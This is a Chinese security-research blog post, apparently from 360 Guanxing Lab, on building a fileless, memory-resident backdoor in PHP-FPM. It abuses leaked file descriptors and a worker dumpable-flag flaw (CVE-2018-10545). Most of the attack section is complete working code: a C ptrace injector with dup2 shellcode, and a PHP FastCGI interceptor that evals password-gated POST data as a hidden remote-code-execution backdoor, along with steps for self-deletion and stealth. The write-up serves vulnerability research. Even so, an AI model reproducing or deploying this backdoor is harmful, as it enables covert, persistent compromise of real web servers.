作者:imbeee@360观星实验室
简介
目前常见的php后门基本需要文件来维持(常规php脚本后门:一句话、大马等各种变形;WebServer模块:apache扩展等,需要高权限并且需要重启WebServer),或者是脚本运行后删除自身,利用死循环驻留在内存里,不断主动外连获取指令并且执行。两者都无法做到无需高权限、无需重启WeServer、触发后删除脚本自身并驻留内存、无外部进程、能主动发送控制指令触发后门(避免内网无法外连的情况)。
而先前和同事一块测试Linux下面通过/proc/PID/fd文件句柄来利用php文件包含漏洞时,无意中发现了一个有趣的现象。经过后续的分析,可以利用其在特定环境下实现受限的无文件后门,效果见动图:
测试环境
CentOS 7.5.1804 x86_64
nginx + php-fpm(监听在tcp 9000端口)
为了方便观察,建议修改php-fpm默认pool的如下参数:
# /etc/php-fpm.d/www.conf
pm.start_servers = 1
pm.min_spare_servers = 1
pm.max_spare_servers = 1
修改后重启php-fpm,可以看到只有一个master进程和一个worker进程:
[root@localhost php-fpm.d]# ps -ef|grep php-fpm
nginx 2439 30354 0 18:40 ? 00:00:00 php-fpm: pool www
root 30354 1 0 Oct15 ? 00:00:37 php-fpm: master process (/etc/php-fpm.conf)
php-fpm文件句柄泄露
在利用php-fpm运行的php脚本里,使用system()等函数执行外部程序时,由于php-fpm没有使用FD_CLOEXEC处理句柄,导致fork出来的子进程会继承php-fpm进程的所有文件句柄。
简单测试代码:
<?php
// t1.php
system("sleep 60");
观察访问前worker进程的文件句柄:
[root@localhost php-fpm.d]# ls -al /proc/2439/fd
total 0
dr-x------ 2 nginx nginx 0 Oct 24 18:54 .
dr-xr-xr-x 9 nginx nginx 0 Oct 24 18:40 ..
lrwx------ 1 nginx nginx 64 Oct 24 18:54 0 -> socket:[1168542]
lrwx------ 1 nginx nginx 64 Oct 24 18:54 1 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 24 18:54 2 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 24 18:54 7 -> anon_inode:[eventpoll]
[root@localhost php-fpm.d]#
确定socket:[1168542]为php-fpm监听的9000端口的socket句柄:
[root@localhost php-fpm.d]# lsof -i:9000
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
php-fpm 2439 nginx 0u IPv4 1168542 0t0 TCP localhost:cslistener (LISTEN)
php-fpm 30354 root 6u IPv4 1168542 0t0 TCP localhost:cslistener (LISTEN)
访问t1.php后,会阻塞在php的system函数调用里,此时查看sleep进程与worker进程的文件句柄:
[root@localhost php-fpm.d]# ps -ef|grep sleep
nginx 2547 2439 0 18:57 ? 00:00:00 sleep 60
[root@localhost php-fpm.d]# ls -al /proc/2547/fd
total 0
dr-x------ 2 nginx nginx 0 Oct 24 18:58 .
dr-xr-xr-x 9 nginx nginx 0 Oct 24 18:57 ..
lrwx------ 1 nginx nginx 64 Oct 24 18:58 0 -> socket:[1168542]
l-wx------ 1 nginx nginx 64 Oct 24 18:58 1 -> pipe:[1408640]
lrwx------ 1 nginx nginx 64 Oct 24 18:58 2 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 24 18:58 3 -> socket:[1408425]
lrwx------ 1 nginx nginx 64 Oct 24 18:58 7 -> anon_inode:[eventpoll]
[root@localhost php-fpm.d]# ls -al /proc/2439/fd
total 0
dr-x------ 2 nginx nginx 0 Oct 24 18:54 .
dr-xr-xr-x 9 nginx nginx 0 Oct 24 18:40 ..
lrwx------ 1 nginx nginx 64 Oct 24 18:54 0 -> socket:[1168542]
lrwx------ 1 nginx nginx 64 Oct 24 18:54 1 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 24 18:54 2 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 24 18:58 3 -> socket:[1408425]
lr-x------ 1 nginx nginx 64 Oct 24 18:58 4 -> pipe:[1408640]
lrwx------ 1 nginx nginx 64 Oct 24 18:54 7 -> anon_inode:[eventpoll]
可以发现请求t1.php后,nginx发起了一个fast-cgi请求到php-fpm进程,即woker进程里3号句柄socket:[1408425]
。同时可以看到sleep继承了父进程php-fpm的0 1 2 3 7号句柄,其中的0号句柄也就是php-fpm监听的9000端口的socket句柄。
文件句柄泄露的利用
在子进程里有了继承来的socket句柄,就可以直接使用accept函数直接从该socket接受一个连接。下面是一个用于验证的简单c程序以及调用的php脚本:
// test.c
// gcc -o test test.c
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char *argv[])
{
int sockfd, newsockfd, clilen;
struct sockaddr_in cli_addr;
clilen = sizeof(cli_addr);
sockfd = 0; //直接使用0句柄作为socket句柄
//这里accept会阻塞,接受连接后才会执行system()
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
system("/bin/touch /tmp/lol");
return 0;
}
<?php
// t2.php
system("/tmp/test");
访问t2.php后,观察php-fpm进程以及子进程状态:
[root@localhost html]# ps -ef|grep php-fpm
nginx 2548 30354 0 Oct24 ? 00:00:00 php-fpm: pool www
nginx 2958 30354 0 11:07 ? 00:00:00 php-fpm: pool www
root 30354 1 0 Oct15 ? 00:00:40 php-fpm: master process (/etc/php-fpm.conf)
[root@localhost html]# ps -ef|grep test
nginx 2957 2548 0 11:07 ? 00:00:00 /tmp/test
[root@localhost html]# strace -p 2548
strace: Process 2548 attached
read(4,
[root@localhost html]# strace -p 2957
strace: Process 2957 attached
accept(0,
[root@localhost html]# strace -p 2958
strace: Process 2958 attached
accept(0,
可以看到php-fpm多了一个worker进程,用于测试的子进程test(pid:2957)阻塞在accept函数,解析t2.php的这个worker进程(pid:2548)阻塞在php的system函数里,系统调用体现为阻塞在read(),即等待system函数返回,因此master进程spawn出新的worker进程来处理正常的fast-cgi请求。此时php-fpm监听在tcp 9000的这个socket句柄上有两个进程在accept等待新的连接,一个是正常的php-fpm worker(pid:2958)进程,另一个是我们的测试程序test。
此时我们请求一个php页面,nginx发起的到9000端口的fast-cgi请求就会有一定几率被我们的test进程accpet接受到。但是我们测试程序test里面没有处理fast-cgi请求,因此nginx直接向前端返回500。查看tmp目录发现生成了lol文件,说明test进程成功通过accept函数从继承来的socket句柄中接受了一个来自nginx的fast-cgi请求。
[root@localhost html]# ls -al /tmp/systemd-private-165040c986624007be902da008f27727-php-fpm.service-6HI0kT/tmp/
total 12
drwxrwxrwt 2 root root 29 Oct 25 11:27 .
drwx------ 3 root root 17 Oct 15 10:40 ..
-rw-r--r-- 1 nginx nginx 0 Oct 25 11:27 lol
-rwxr-xr-x 1 root root 8496 Oct 25 10:42 test
至此,我们利用思路就有了:
- php脚本先删除自身,然后用system()等方法运行一个外部程序
- 外部程序起来后删除自身,驻留在内存里,直接accpet从0句柄接受来自nginx的fast-cgi请求
- 解析fast-cgi请求,如果含有特定的指令,拦截请求并执行相应的代码,否则认为是正常请求,转发到9000端口让正常的php-fpm worker处理
这个利用思路的不足之处是需要起一个外部的进程。
一个另类的利用方法
到了这里铺垫写完了,进入本文分享的重点部分:如何解决上文提到的需要单独起一个进程来处理fast-cgi请求的不足。
php-fpm解析php脚本,是在php-fpm的worker进程里进行的,也就是说理论上php代码是能访问到worker进程已经打开的文件句柄的。但是php对这块做了封装,在php里通过fopen、socket_create等操作文件、socket时,得到的是一个php resource,每个resource绑定了相应的文件句柄,我们是无法直接操作到文件句柄的。可以通过下面的php脚本简单观察一下:
<?php
// t3.php
sleep(10);
$socket = socket_create( AF_INET, SOCK_STREAM, SOL_TCP );
sleep(10);
访问t3.php后,查看php-fpm worker进程的文件句柄:
[root@localhost html]# ls -al /proc/2958/fd
total 0
dr-x------ 2 nginx nginx 0 Oct 25 11:16 .
dr-xr-xr-x 9 nginx nginx 0 Oct 25 11:07 ..
lrwx------ 1 nginx nginx 64 Oct 25 11:16 0 -> socket:[1168542]
lrwx------ 1 nginx nginx 64 Oct 25 11:16 1 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 25 11:16 2 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 25 12:11 3 -> socket:[1428118]
lrwx------ 1 nginx nginx 64 Oct 25 11:16 7 -> anon_inode:[eventpoll]
[root@localhost html]# ls -al /proc/2958/fd
total 0
dr-x------ 2 nginx nginx 0 Oct 25 11:16 .
dr-xr-xr-x 9 nginx nginx 0 Oct 25 11:07 ..
lrwx------ 1 nginx nginx 64 Oct 25 11:16 0 -> socket:[1168542]
lrwx------ 1 nginx nginx 64 Oct 25 11:16 1 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 25 11:16 2 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 25 12:11 3 -> socket:[1428118]
lrwx------ 1 nginx nginx 64 Oct 25 12:11 4 -> socket:[1428132]
lrwx------ 1 nginx nginx 64 Oct 25 11:16 7 -> anon_inode:[eventpoll]
可以看到10秒内只有来自nginx的fast-cgi请求的3号句柄。而10秒后,4号句柄为php脚本中创建的socket,对应php脚本中的$socket资源。
如果我们能在php代码中构造出一个和0号句柄绑定的socket resource,我们就能直接用php的accpet()来处理来自nginx的fast-cgi请求而无需再起一个新的进程。但是翻遍了资料,最后发现php里无法用常规的方式构造指向特定文件句柄的resource。
但是我们发现worker进程在/proc/下面的文件owner并不是root,而是php-fpm的运行用户。这说明了php-fpm的master在fork出worker进程后,没有正确处理其dumpable flag,导致了我们可以用php-fpm worker的运行用户的权限附加到worker上,对其进行操作。
那么我们就有了新的利用思路:
- php脚本运行后先删除自身
- php脚本里用socket_create()创建一个socket
- php脚本释放一个外部程序,使用system()调用,此时子进程继承worker进程的运行权限
- 子进程attach到父进程(php-fpm worker),向父进程中注入shellcode,使用dup2()系统调用将0号句柄复制到步骤2中所创建的socket对应的句柄号,并恢复worker进程状态后detach,退出
- 子进程退出后,php代码里已经可以通过我们创建的socket resource来操作0号句柄,对其使用accept获取来自nginx的fast-cgi连接
- 解析fast-cgi请求,如果含有特定的指令,拦截请求并执行相应的代码,否则认为是正常请求,转发到9000端口让正常的php-fpm worker处理
通过这个利用方法,我们可以将大部分代码都用php实现,并且最终也是以一个被注入过的php-fpm进程的形式存在于服务器上。外部c程序只是用于注入worker进程,复制文件句柄。以下为注入shellcode的c代码:
// dup04.c
// gcc -o dup04 dup04.c
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
void *freeSpaceAddr(pid_t pid) {
FILE *fp;
char filename[30];
char line[850];
long addr;
char str[20];
char perms[5];
sprintf(filename, "/proc/%d/maps", pid);
fp = fopen(filename, "r");
if(fp == NULL)
exit(1);
while(fgets(line, 850, fp) != NULL)
{
sscanf(line, "%lx-%*lx %s %*s %s %*d", &addr, perms, str);
if(strstr(perms, "x") != NULL)
{
break;
}
}
fclose(fp);
return addr;
}
void ptraceRead(int pid, unsigned long long addr, void *data, int len) {
long word = 0;
int i = 0;
char *ptr = (char *)data;
for (i=0; i < len; i+=sizeof(word), word=0) {
if ((word = ptrace(PTRACE_PEEKTEXT, pid, addr + i, NULL)) == -1) {;
printf("[!] Error reading process memoryn");
exit(1);
}
ptr[i] = word;
}
}
void ptraceWrite(int pid, unsigned long long addr, void *data, int len) {
long word = 0;
int i=0;
for(i=0; i < len; i+=sizeof(word), word=0) {
memcpy(&word, data + i, sizeof(word));
if (ptrace(PTRACE_POKETEXT, pid, addr + i, word) == -1) {;
printf("[!] Error writing to process memoryn");
exit(1);
}
}
}
int main(int argc, char* argv[]) {
void *freeaddr;
//int pid = strtol(argv[1],0,10);
int pid = getppid();
int status;
struct user_regs_struct oldregs, regs;
memset(&oldregs, 0, sizeof(struct user_regs_struct));
memset(®s, 0, sizeof(struct user_regs_struct));
char shellcode[] = "x90x90x90x90x90x6ax21x58x48x31xffx6ax04x5ex0fx05xcc";
unsigned char *oldcode;
// Attach to the target process
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, &status, WUNTRACED);
// Store the current register values for later
ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
memcpy(®s, &oldregs, sizeof(struct user_regs_struct));
oldcode = (unsigned char *)malloc(sizeof(shellcode));
// Find a place to write our code to
freeaddr = (void *)freeSpaceAddr(pid) + sizeof(long);
// Read from this addr to back up our code
ptraceRead(pid, (unsigned long long)freeaddr, oldcode, sizeof(shellcode));
// Write our new stub
//ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.sox00", 16);
//ptraceWrite(pid, (unsigned long long)freeaddr+16, "x90x90x90x90x90x90x90", 8);
ptraceWrite(pid, (unsigned long long)freeaddr, shellcode, sizeof(shellcode));
// Update RIP to point to our code
regs.rip = (unsigned long long)freeaddr + 2;
// Set regs
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
//sleep(5);
// Continue execution
ptrace(PTRACE_CONT, pid, NULL, NULL);
waitpid(pid, &status, WUNTRACED);
// Ensure that we are returned because of our int 0x3 trap
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
// Get process registers, indicating if the injection suceeded
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
if (regs.rax != 0x0) {
printf("[*] Syscall for dup2 success.n");
} else {
printf("[!] Library could not be injectedn");
return 0;
}
//// Now We Restore The Application Back To It's Original State ////
// Copy old code back to memory
ptraceWrite(pid, (unsigned long long)freeaddr, oldcode, sizeof(shellcode));
// Set registers back to original value
ptrace(PTRACE_SETREGS, pid, NULL, &oldregs);
// Resume execution in original place
ptrace(PTRACE_DETACH, pid, NULL, NULL);
printf("[*] Resume proccess.n");
} else {
printf("[!] Fatal Error: Process stopped for unknown reasonn");
exit(1);
}
return 0;
}
代码中注入的部分参考自网上,shellcode功能很简单,通过syscall调用dup2(0,4),汇编为:
5: 6a 21 pushq $0x21
7: 58 pop %rax
8: 48 31 ff xor %rdi,%rdi
b: 6a 04 pushq $0x4
d: 5e pop %rsi
e: 0f 05 syscall
10: cc int3
使用如下php代码进行注入测试并观察效果:
<?php
// t4.php
sleep(10);
$socket = socket_create( AF_INET, SOCK_STREAM, SOL_TCP );
sleep(10);
system('/tmp/dup04');
sleep(10);
访问t4.php后查看文件句柄:
[root@localhost html]# ls -al /proc/3022/fd
total 0
dr-x------ 2 nginx nginx 0 Oct 25 16:12 .
dr-xr-xr-x 9 nginx nginx 0 Oct 25 16:12 ..
lrwx------ 1 nginx nginx 64 Oct 25 17:50 0 -> socket:[1168542]
lrwx------ 1 nginx nginx 64 Oct 25 17:50 1 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 25 17:50 2 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 25 17:59 3 -> socket:[1428126]
lrwx------ 1 nginx nginx 64 Oct 25 17:50 7 -> anon_inode:[eventpoll]
[root@localhost html]# ls -al /proc/3022/fd
total 0
dr-x------ 2 nginx nginx 0 Oct 25 16:12 .
dr-xr-xr-x 9 nginx nginx 0 Oct 25 16:12 ..
lrwx------ 1 nginx nginx 64 Oct 25 17:50 0 -> socket:[1168542]
lrwx------ 1 nginx nginx 64 Oct 25 17:50 1 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 25 17:50 2 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 25 17:59 3 -> socket:[1428126]
lrwx------ 1 nginx nginx 64 Oct 25 17:59 4 -> socket:[1435131]
lrwx------ 1 nginx nginx 64 Oct 25 17:50 7 -> anon_inode:[eventpoll]
[root@localhost html]# ls -al /proc/3022/fd
total 0
dr-x------ 2 nginx nginx 0 Oct 25 16:12 .
dr-xr-xr-x 9 nginx nginx 0 Oct 25 16:12 ..
lrwx------ 1 nginx nginx 64 Oct 25 17:50 0 -> socket:[1168542]
lrwx------ 1 nginx nginx 64 Oct 25 17:50 1 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 25 17:50 2 -> /dev/null
lrwx------ 1 nginx nginx 64 Oct 25 17:59 3 -> socket:[1428126]
lrwx------ 1 nginx nginx 64 Oct 25 17:59 4 -> socket:[1168542]
lrwx------ 1 nginx nginx 64 Oct 25 17:50 7 -> anon_inode:[eventpoll]
可以看到worker进程在前10秒内只有来自nginx的一个3号句柄;10-20秒多出来的4号句柄socket:[1435131]为php代码中socket_create后创建的socket;20秒后dup4运行结束,dup(0,2)成功调用,0号句柄的socket:[1168542]成功复制到4号句柄。此时php代码中已经可以通过$socket来操作php-fpm监听tcp 9000的socket了。
附上一个简单实现的脚本,通过php来解析fast-cgi并拦截特定请求:
<?php
$password = "beedoor";
function dolog($msg) {
file_put_contents('/tmp/log', date('Y-m-d H:i:s') . ' ---- ' . $msg . "n", FILE_APPEND);
}
function readfcgi($socket, $type) {
global $password;
$buffer="";
$postdata="";
while(1) {
dolog("Read 8 bytes header.");
$data = socket_read($socket, 8);
if ($data === "")
return -1;
$buffer .= $data;
dolog(bin2hex($data));
$header = unpack("Cver/Ctype/nid/nlen/Cpadding/Crev", $data);
$body_len = $header["len"] + $header["padding"];
if ($body_len > 0) {
dolog("Read " . $body_len . " bytes body.");
$data = socket_read($socket, $body_len);
if ($data === "")
return -1;
$buffer .= $data;
dolog(bin2hex($data));
if ($header["type"] == 5) {
$postdata .= $data;
dolog("Post data found.");
}
}
if ($header["type"] == $type && $body_len < 65535) {
$stype = $type === 5 ? 'FCGI_STDIN' : 'FCGI_END_REQUEST';
dolog($stype . " finished, braek.");
break;
}
}
//dolog(bin2hex($postdata));
parse_str($postdata, $post_array);
$intercept_flag = array_key_exists($password, $post_array) ? true : false;
if ($intercept_flag)
{
dolog("Password in postdata, intercepted.");
return array("intercept" => true, "buffer" => $postdata);
} else {
dolog("No password, passthrough.");
return array("intercept" => false, "buffer" => $buffer);
}
}
dolog("Init socket rescoure.");
$socket = socket_create( AF_INET, SOCK_STREAM, SOL_TCP );
dolog("dup(0,4);");
system('/tmp/dup04');
dolog("All set, waiting for connections.");
while (1) {
$acpt=socket_accept($socket);
dolog("Incoming connection.");
$buffer = readfcgi($acpt,5);
if ($buffer["intercept"] === true) {
parse_str($buffer["buffer"], $postdata);
$header = "";
$outbuffer = "Content-type: text/htmlrnrn";
ob_clean();
ob_start();
eval($postdata[$password]);
$outbuffer .= ob_get_clean();
dolog("Eval code success.");
$outbuffer_len = strlen($outbuffer);
dolog("Outbuffer length: " . $outbuffer_len . "bytes.");
$slice_len = unpack("n", "x1fxf8");
$slice_len = $slice_len[1];
while ( strlen($outbuffer) > $slice_len ) {
$slice = substr($outbuffer, 0, $slice_len);
$header = pack("C2n2C2", 0x01, 0x06, 1, $slice_len, 0x00, 0x00);
$sent_len = socket_write($acpt, $header, 8);
dolog("Sending " . $sent_len . " bytes slice header.");
dolog(bin2hex($header));
$sent_len = socket_write($acpt, $slice, $slice_len);
dolog("Sending " . $sent_len . " bytes slice.");
dolog(bin2hex($slice));
$outbuffer = substr($outbuffer, $slice_len);
}
$outbuffer_len = strlen($outbuffer);
if ( $outbuffer_len % 8 > 0)
$padding_len = 8 - ($outbuffer_len % 8);
dolog("Processing last slice, outbuffer length: " . $outbuffer_len . " , padding length: " . $padding_len . " bytes.");
$outbuffer .= str_repeat("", $padding_len);
$header = pack("C2n2C2", 0x01, 0x06, 1, $outbuffer_len, $padding_len, 0x00);
$sent_len = socket_write($acpt, $header, 8);
dolog("Sent 8 bytes STDOUT header to webserver.");
dolog(bin2hex($header));
$sent_len = socket_write($acpt, $outbuffer, strlen($outbuffer));
dolog("Sent " . $sent_len . " bytes STDOUT body to webserver.");
dolog(bin2hex($outbuffer));
$header = pack("C2n2C2", 0x01, 0x03, 1, 8, 0x00, 0x00);
$endbody = pack("C8", 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0);
$sent_len = socket_write($acpt, $header, 8);
dolog("Sent 8 bytes REQUEST_END header to webserver.");
dolog(bin2hex($header));
$sent_len = socket_write($acpt, $endbody, 8);
dolog("Sent 8 bytes REQUEST_END body to webserver.");
dolog(bin2hex($endbody));
socket_shutdown($acpt);
continue;
} else {
$buffer = $buffer["buffer"];
}
dolog("The full buffer size is " . strlen($buffer) . " bytes.");
$fpm_socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($fpm_socket === false) {
dolog("Create socket for real php-fpm failed.");
socket_close($acpt);
}
if (socket_connect($fpm_socket, "127.0.0.1", 9000) === false) {
dolog("Connect to real php-fpm failed.");
socket_close($acpt);
}
dolog("Connected to real php-fpm.");
$sent_len = socket_write($fpm_socket, $buffer, strlen($buffer));
dolog("Sent " . $sent_len . " to real php-fpm.");
$buffer = readfcgi($fpm_socket, 3);
//TODO: intercept real output
$buffer = $buffer["buffer"];
dolog("Recieved " . strlen($buffer) . " from real php-fpm.");
socket_close($fpm_socket);
$sent_len = socket_write($acpt, $buffer);
dolog("Sent " . $sent_len . " bytes back to webserver.");
socket_shutdown($acpt);
dolog("Shutdown connection from webserver.");
}
利用限制
上面给出的php实现,利用的前提是Linux下的php-fpm环境,同时有php版本限制,需5.x<5.6.35,7.0.x<7.0.29,7.1.x<7.1.16,7.2.x<7.2.4。因为利用到的两个前提条件中,worker进程未正确设置dumpable flag这个问题已经在CVE-2018-10545中修复,详情请自行查阅。而另一个条件,在php中通过system等函数来调用第三方程序时未正确处理文件描述符的问题,也已经提交给php官方,但php官方认为未能导致安全问题,不予处理。所以截止目前为止,最新版本的php-fpm都存在文件描述符泄露的问题。
总结
本文分享了一种php-fpm的另类后门实现,但比较受限。该方法虽然实现了无文件、无进程、能主动触发等特性,但是无法实现持续化,php-fpm服务重启后即失效;同时由于生产环境中php-fpm的worker进程众多,fast-cgi请求能被我们accept接受到的几率也比较小,不能稳定的触发。仅希望本文能抛砖引玉,引起大家对该问题进行更深入的探讨。如文中存在描述不准确的地方,欢迎大家批评指正。
当然如果你愿意同我们一起进行安全技术的研究和探索,请发送简历到 lab@360.net,我们期望你的加入。
发表评论
您还未登录,请先登录。
登录